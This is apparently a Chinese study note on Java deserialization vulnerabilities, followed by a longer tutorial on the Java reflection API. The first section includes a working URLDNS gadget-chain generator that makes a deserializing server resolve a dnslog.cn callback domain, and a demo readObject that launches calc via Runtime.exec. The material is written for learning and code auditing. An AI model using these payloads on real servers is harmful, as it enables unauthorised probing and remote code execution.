1.java原生反序列化(URLDNS链 反射)
demo
person类 需要继承Serializable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import java.io.Serializable;
public class Person implements Serializable { private String name; private int age;
public Person(){
} public Person(String name,int age){ this.name = name; this.age = age; } @Override public String toString(){ return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; }
}
|
序列化 - writeObject
对象–》二进制流 存在于磁盘 网络
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream;
public class SerializationTest { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws Exception{ Person person = new Person("aa",22); System.out.println(person); serialize(person); } }
|
反序列化 -readObject
二进制流–》对象 存在于内存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;
public class UnserializeTest { public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static void main(String[] args) throws Exception{ Person person = (Person)unserialize("ser.bin"); System.out.println(person); } }
|
反序列化出现问题的原因
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。
可能的形式: 1.入口类的readObject方法被重写,直接调用危险方法(理想情况)

2.入口类参数中包含可控类,该类有危险方法,readObject时调用。
3.入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用。
反序列化条件
共同的条件 需要继承Serializable
1 2 3 4
| 入口类:source(重写readObject 调用常见的函数 参数类型宽泛 最好jdk自带) 例如:Map HashMap 等 调用链:gadget chain 相同名称 相同类型 执行类:sink (rce ssrf 文件操作等)
|
URLDNS链分析
分析过程
以Hashmap为例 继承了serializable 参数类型宽泛 jdk自带
重写了readobject方法 适合作为入口点source

hashmap重写了readobject方法,最后调用了hash(),hash()中调用了object类的hashcode()方法

URL类
存在hashcode方法,调用了handler的hashcode()方法
跟进,发现调用了getHostAddress方法,可以发起网络请求
思路:以Hashmap为入口点,参数设置为URL类型,最终会调用URL中的hashcode方法,实现域名解析发起网络请求

理想情况下反序列化时会调用URL中的hashcode方法,实现域名解析发起网络请求
但序列化后就发起了请求

原因:
HashMap对象在put时会调用hash函数然后调用hashcode方法,所以序列化时会发起请求
put函数调用过程:

最终调用了URL中的hashcode()方法:
URL类hashcode值初始化为-1,-1时会发起网络请求
实现目标需要做的调整:
1.put时不要发起请求 修改hashCode变量的值不为-1,进入第一个if判断 不发起网络请求
2.put之后把hashCode变量的值变为-1,反序列化后才能调用hashcode()方法(通过反射)
实现代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class SerializationTest { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws Exception{ HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://pm7emg.dnslog.cn"); Class c = url.getClass(); Field hashcodeField = c.getDeclaredField("hashCode"); hashcodeField.setAccessible(true); hashcodeField.set(url,1234); hashmap.put(url,111); hashcodeField.set(url,-1);
serialize(hashmap); } }
|
调试反序列化代码,观察hashCode值,为-1,说明通过反射修改成功

总结
入口A :HashMap,readObject重写了,调用hash()–>hashCode() 接受参数O,有hashCode方法
目标B :URL 调用B.hashCode()
操作:A.readObject -> O.f (O=B) ,通过反射满足执行网络请求的条件

反射在反序列化中的应用:
1.定制需要的对象
2.通过invoke调用除了同名函数以外的函数
3.通过类(Class 可以反序列化)类创建对象,引入不能序列化的类
反射基础操作
demo
person类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class Person implements Serializable { public String name; private int age;
public Person(){
} public Person(String name,int age){ this.name = name; this.age = age; } @Override public String toString(){ return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; }
private void action(String act){ System.out.println(act); }
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{ ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); } }
|
反射操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method;
public class ReflectionTest { public static void main(String[] args) throws Exception { Person person = new Person(); Class c = person.getClass();
Constructor personconstructor = c.getConstructor(String.class,int.class); Person p = (Person) personconstructor.newInstance("abc",22); System.out.println(p);
Field[] personfields = c.getDeclaredFields(); for(Field f : personfields){ System.out.println(f); } Field namefield = c.getField("name"); namefield.set(p,"sss"); System.out.println(p); Field agefield = c.getDeclaredField("age"); agefield.setAccessible(true); agefield.set(p,99); System.out.println(p);
Method[] personMethods = c.getMethods(); for(Method m:personMethods){ System.out.println(m); }
Method actionMethod = c.getDeclaredMethod("action",String.class); actionMethod.setAccessible(true); actionMethod.invoke(p,"tql"); } }
|
1.从原型Class里实例化对象

2.获取类的属性

3.修改反射创建出的实例的变量值
使用getDeclaredField 和 setAccessible就可以实现对任何变量的修改

4.读取和修改方法

java反射
1、什么是反射?
Java 的反射(reflection)机制是指在程序运行中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法。
这种动态获取程序信息以及动态调用对象的功能称为 Java语言的反射机制 。
反射机制允许我们在 Java程序运行时检查,操作或者说获取任何类、接口、构造函数、方法和字段。还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等操作。
在 Java代码审计中学习反射机制,我们目的是可以利用反射机制操作目标方法执行系统命令。比如我们想要反射调用java.lang.runtime
去执行系统命令。
下面,通过代码案例来学习反射API,进一步理解反射机制。
2、创建练习项目工程
老规矩,先创建一个名为reflectdemo
的项目工程,用于下面示例代码的练习。
①、打开IDEA,点击Create New Project
,创建新的工程。
②、左侧选择Maven,配置默认即可,不选择任何模板,点击Next。
③、起个项目名称为reflectdemo
,其他默认即可,点击Finish。
④、在Java目录下创建名为com.exampl.demo
的包,并在demo包下再创建一个名为entity
的包,最终目录结构如下图所示:

3、获取 Class 对象
获取Class对象的方式有下面几种,:
- 根据类名:类名.class
- 根据对象:对象.getClass()
- 根据全限定类名:Class.forName(全路径类名)
- 通过类加载器获得class对象:ClassLoader.getSystemClassLoader().loadClass(“com.example.xxx”);
举个简单的例子。
①、我们在com.example.demo.entity
下创建个User
类,代码如下:
1 2 3 4 5 6 7 8 9
| public class User { public String name = "power7089"; public String getName() { return name; } public void setName(String testStr) { this.name = name; } }
|

②、我们再com.example.demo
先创建一个名为GetClass
的类,用于演示获取User Class对象几种方式,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package com.example.demo; import com.example.demo.entity.User;
public class GetClass { public static void main(String[] args) throws ClassNotFoundException { //1.通过类名.class Class c1 = User.class;
//2.通过对象的getClass()方法 User user = new User(); Class c2 = user.getClass();
//3.通过 Class.forName()获得Class对象; Class c3 = Class.forName("com.example.demo.entity.User");
//4.通过类加载器获得class对象 ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Class c4 = classLoader.loadClass("com.example.demo.entity.User");
System.out.println(c1); System.out.println(c2); System.out.println(c3); System.out.println(c4); } }
|

动手操作调试,观察运行结果,并加以思考。
那他们几个有什么需要注意的呢?
- 类名.class:需要导入类的包。
- 对象.getClass():初始化对象后,其实不需要再使用反射了。
- Class.forName(全路径类名):需要知道类的完整全路径,这是我们常使用的方法。
- 通过类加载器获得class对象:ClassLoader.getSystemClassLoader().loadClass(“com.example.xxx”);
Class.forName() 获取 class 对象方法是常用的一种方式,下面所有示例代码我们都使用Class.forName()
这个方法来获取Class对象。
在获取到目标Class对象后,我们可以做的事就多了,下面我们通过示例代码进一步演示。
4、Java 反射 API
Java 提供了一套反射 API,该API由Class
类与java.lang.reflect
类库组成。
该类库包含了Field
、Method
、Constructor
等类。
java.lang.reflect官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/package-summary.html
(这部分的官方文档我都是给的 java8 的,大家可以将路径中的数字 8 改为7,9,10等,这几个版本会有不同的地方大家可自行比对学习)
在进行下面练习前,首先我们需要在com.example.demo
下新建一个名为reflectdemo
的包,并新建一个名为UserInfo
的Java Class,并键入一下代码,最终如下图所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package com.example.demo.reflectdemo;
public class UserInfo { private String name; public int age;
public UserInfo() { }
private UserInfo(String name) { this.name = name; }
public UserInfo(String name, int age) { this.name = name; this.age = age; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
private String introduce() { return "我叫" + name + ",今年" + age + "岁了!"; }
public String sayHello() { return "Hello!我叫[" + name + "]"; }
@Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
|

4.1、java.lang.Class
用来描述类的内部信息,Class
的实例可以获取类的包、注解、修饰符、名称、超类、接口等。
官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html
。
方法名 |
释义 |
getPackage() |
获取该类的包 |
getDeclaredAnnotations() |
获取该类上所有注解 |
getModifiers() |
获取该类上的修饰符 |
getName() |
获取类名称 |
getSimpleName() |
获取简单类名称 |
getGenericSuperclass() |
获取直属超类 |
getGenericInterfaces() |
获取直属实现的接口 |
newInstance() |
根据构造函数创建一个实例 |
更多方法可查看官方文档…… |
|
4.1.1、示例代码
①、在创建com.example.demo.reflectdemo
下创建一个名为ClassDemo
的Java Class,并键入以下代码,最终如下图所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.example.demo.reflectdemo; import java.lang.reflect.Modifier;
public class ClassDemo {
public static void main(String[] args) throws ClassNotFoundException { Class clazz = Class.forName("com.example.demo.reflectdemo.UserInfo"); Package aPackage = clazz.getPackage(); System.out.println("getPackage运行结果:" + aPackage);
int modifiers = clazz.getModifiers(); String modifier = Modifier.toString(modifiers); System.out.println("getModifiers运行结果:" + modifier);
String name = clazz.getName(); System.out.println("getName运行结果:" + name); String simpleName = clazz.getSimpleName(); System.out.println("getSimpleName运行结果:" + simpleName); } }
|

运行结果如下图所示:

4.2、java.lang.reflect.Field
提供了类的属性信息。可以获取属性上的注解、修饰符、属性类型、属性名等。
官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Field.html
。
方法名 |
释义 |
getField(“xxx”) |
获取目标类中声明为 public 的属性 |
getFields() |
获取目标类中所有声明为 public 的属性 |
getDeclaredField(“xxx”) |
获取目标类中声明的属性 |
getDeclaredFields() |
获取目标类中所有声明的属性 |
更多方法可查看官方文档…… |
|
4.2.1、示例代码
①、在创建com.example.demo.reflectdemo
下创建一个名为FieldDemo
的Java Class,并键入以下代码,最终如下图所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.example.demo.reflectdemo; import java.lang.reflect.Field; import java.lang.reflect.Modifier;
public class FieldDemo { public static void main(String[] args) throws Exception{ Class<?> clazz = Class.forName("com.example.demo.reflectdemo.UserInfo");
Field field1 = clazz.getField("age"); System.out.println("getField运行结果:" + field1);
Field[] fieldArray1 = clazz.getFields(); for (Field field : fieldArray1) { System.out.println("getFields运行结果:" + field); }
Field field2 = clazz.getDeclaredField("name"); System.out.println("getDeclaredField运行结果:" + field2);
String modifier = Modifier.toString(field2.getModifiers()); System.out.println("getModifiers运行结果: " + modifier);
Field[] fieldArray2 = clazz.getDeclaredFields(); for (Field field : fieldArray2) { System.out.println("getDeclaredFields运行结果:" + field); } } }
|

运行结果如下图所示:

4.3、java.lang.reflect.Method
提供了类的方法信息。可以获取方法上的注解、修饰符、返回值类型、方法名称、所有参数。
官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Method.html
。
方法名 |
释义 |
getMethod(“setAge”, String.class) |
获取目标类及父类中声明为 public 的方法,需要指定方法的入参类型 |
getMethods() |
获取该类及父类中所有声明为 public 的方法 |
getDeclaredMethod() |
获取一个在该类中声明的方法 |
getDeclaredMethods() |
获取所有在该类中声明的方法 |
getParameters() |
获取所有传参 |
更多方法可查看官方文档…… |
|
4.3.1、示例代码
①、在创建com.example.demo.reflectdemo
下创建一个名为MethodDemo
的Java Class,并键入以下代码,最终如下图所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package com.example.demo.reflectdemo; import java.lang.reflect.Method; import java.lang.reflect.Parameter;
public class MethodDemo { public static void main(String[] args) throws Exception{ Class<?> clazz = Class.forName("com.example.demo.reflectdemo.UserInfo");
// 获取一个该类及父类中声明为 public 的方法,需要指定方法的入参类型 Method method = clazz.getMethod("setName", String.class); System.out.println("01-getMethod运行结果:" + method);
// 获取所有入参 Parameter[] parameters = method.getParameters(); for (Parameter temp : parameters) { System.out.println("getParameters运行结果 " + temp); }
// 获取该类及父类中所有声明为 public 的方法 Method[] methods = clazz.getMethods(); for (Method temp : methods) { System.out.println("02-getMethods运行结果:" + temp); }
// 获取一个在该类中声明的方法 Method declaredMethod = clazz.getDeclaredMethod("getName"); System.out.println("03-getDeclaredMethod运行结果:" + declaredMethod);
// 获取所有在该类中声明的方法 Method[] declaredMethods = clazz.getDeclaredMethods(); for (Method temp : declaredMethods) { System.out.println("04-getDeclaredMethods运行结果:" + temp); } } }
|

运行结果如下图所示:

4.4、java.lang.reflect.Modifier
提供了访问修饰符信息。通过Class
、Field
、Method
、Constructor
等对象都可以获取修饰符,这个访问修饰符是一个整数,可以通过Modifier.toString
方法来查看修饰符描述。并且该类提供了一些静态方法和常量来解码访问修饰符。
官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Modifier.html
方法名 |
释义 |
getModifiers() |
获取类的修饰符值 |
getDeclaredField(“username”).getModifiers() |
获取属性的修饰符值 |
更多方法可查看官方文档…… |
|
4.4.1、示例代码
①、在创建com.example.demo.reflectdemo
下创建一个名为ModifierDemo
的Java Class,并键入以下代码,最终如下图所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package com.example.demo.reflectdemo; import java.lang.reflect.Modifier;
public class ModifierDemo { public static void main(String[] args) throws Exception{ Class<?> clazz = Class.forName("com.example.demo.reflectdemo.UserInfo");
int modifiers1 = clazz.getModifiers(); System.out.println("获取类的修饰符值getModifiers运行结果:" + modifiers1);
int modifiers2 = clazz.getDeclaredField("name").getModifiers(); System.out.println("获取属性的修饰符值getModifiers运行结果:" + modifiers2);
int modifiers4 = clazz.getDeclaredMethod("setName", String.class).getModifiers(); System.out.println("获取方法的修饰符值getModifiers运行结果:" + modifiers4);
String modifier = Modifier.toString(modifiers1); System.out.println("获取类的修饰符值的字符串结果:" + modifier); System.out.println("获取属性的修饰符值字符串结果:" + Modifier.toString(modifiers2)); } }
|

运行结果如下图所示:

4.5、java.lang.reflect.Constructor
提供了类的构造函数信息。可以获取构造函数上的注解信息、参数类型等。
官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Constructor.html
。
方法名 |
释义 |
getConstructor() |
获取一个声明为 public 构造函数实例 |
getConstructors() |
获取所有声明为 public 构造函数实例 |
getDeclaredConstructor() |
获取一个声明的构造函数实例 |
getDeclaredConstructors() |
获取所有声明的构造函数实例 |
更多方法可查看官方文档…… |
|
4.5.1、示例代码
①、在创建com.example.demo.reflectdemo
下创建一个名为ConstructorDemo
的Java Class,并键入以下代码,最终如下图所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.example.demo.reflectdemo; import java.lang.reflect.Constructor; public class ConstructorDemo { public static void main(String[] args) throws Exception{ Class<?> clazz = Class.forName("com.example.demo.reflectdemo.UserInfo");
// 获取一个声明为 public 构造函数实例 Constructor<?> constructor1 = clazz.getConstructor(String.class,int.class); System.out.println("1-getConstructor运行结果:" + constructor1); // 根据构造函数创建一个实例 Object c1 = constructor1.newInstance("power7089",18); System.out.println("2-newInstance运行结果: " + c1);
// 获取所有声明为 public 构造函数实例 Constructor<?>[] constructorArray1 = clazz.getConstructors(); for (Constructor<?> constructor : constructorArray1) { System.out.println("3-getConstructors运行结果:" + constructor); } // 获取一个声明的构造函数实例 Constructor<?> constructor2 = clazz.getDeclaredConstructor(String.class); System.out.println("4-getDeclaredConstructor运行结果:" + constructor2); // 将构造函数的可访问标志设为 true 后,可以通过私有构造函数创建实例 constructor2.setAccessible(true); Object o2 = constructor2.newInstance("Power7089666"); System.out.println("5-newInstance运行结果:" + o2);
// 获取所有声明的构造函数实例 Constructor<?>[] constructorArray2 = clazz.getDeclaredConstructors(); for (Constructor<?> constructor : constructorArray2) { System.out.println("6-getDeclaredConstructors运行结果:" + constructor); } } }
|

运行结果如下图所示:

4.6、java.lang.reflect.Parameter
提供了方法的参数信息。可以获取方法上的注解、参数名称、参数类型等。
官方文档:https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Parameter.html
。
方法名 |
释义 |
getParameters() |
获取构造函数/方法的参数 |
更多方法可查看官方文档…… |
|
4.7、java.lang.reflect.AccessibleObject(绕过私有限制)
是Field
、Method
和Constructor
类的超类。该类提供了对类、方法、构造函数的访问控制检查的能力(如:私有方法只允许当前类访问)。
该访问检查在设置/获取属性、调用方法、创建/初始化类的实例时执行。
方法名 |
释义 |
setAccessible() |
将可访问标志设为true (默认为false ),会关闭访问检查。这样即使是私有的属性、方法或构造函数,也可以访问。 |
4.7.1、示例代码
可以看ConstructorDemo
类代码,涉及到了setAccessible()
,如下:
1 2 3 4 5 6 7
| Constructor<?> constructor2 = clazz.getDeclaredConstructor(String.class); System.out.println("4-getDeclaredConstructor运行结果:" + constructor2);
constructor2.setAccessible(true); Object o2 = constructor2.newInstance("Power7089666"); System.out.println("5-newInstance运行结果:" + o2);
|
5、常用方法整理
1、getMethod()
getMethod()方法获取的是当前类中所有公共(public)方法。包括从父类里继承来的方法。
2、getDeclaredMethod()
getDeclaredMethod()系列方法获取的是当前类中“声明”的方法,包括private,protected和public,不包含从父类继承来的方法。
3、getConstructor()
getConstructor()方法获取的是当前类声明为公共(public)构造函数实例。
4、getDeclaredConstructor()
getDeclaredConstructor() 方法获取的是当前类声明的构造函数实例,包括private,protected和public。
5、setAccessible()
在获取到私有方法或构造方法后,使用setAccessible(true);
,改变其作用域,这样即使是私有的属性,方法,构造函数也都可以访问调用了。
6、newInstance()
将获取到的对象实例化。调用的是这个类的无参构造函数。
使用 newInstance 不成功的话可能是因为:①、你使用的类没有无参构造函数,②、你使用的类构造函数是私有的。
7、invoke()
https://zhuanlan.zhihu.com/p/350058223
调用包装在当前Method对象所属的类中的方法。
invoke传参如下图所示:
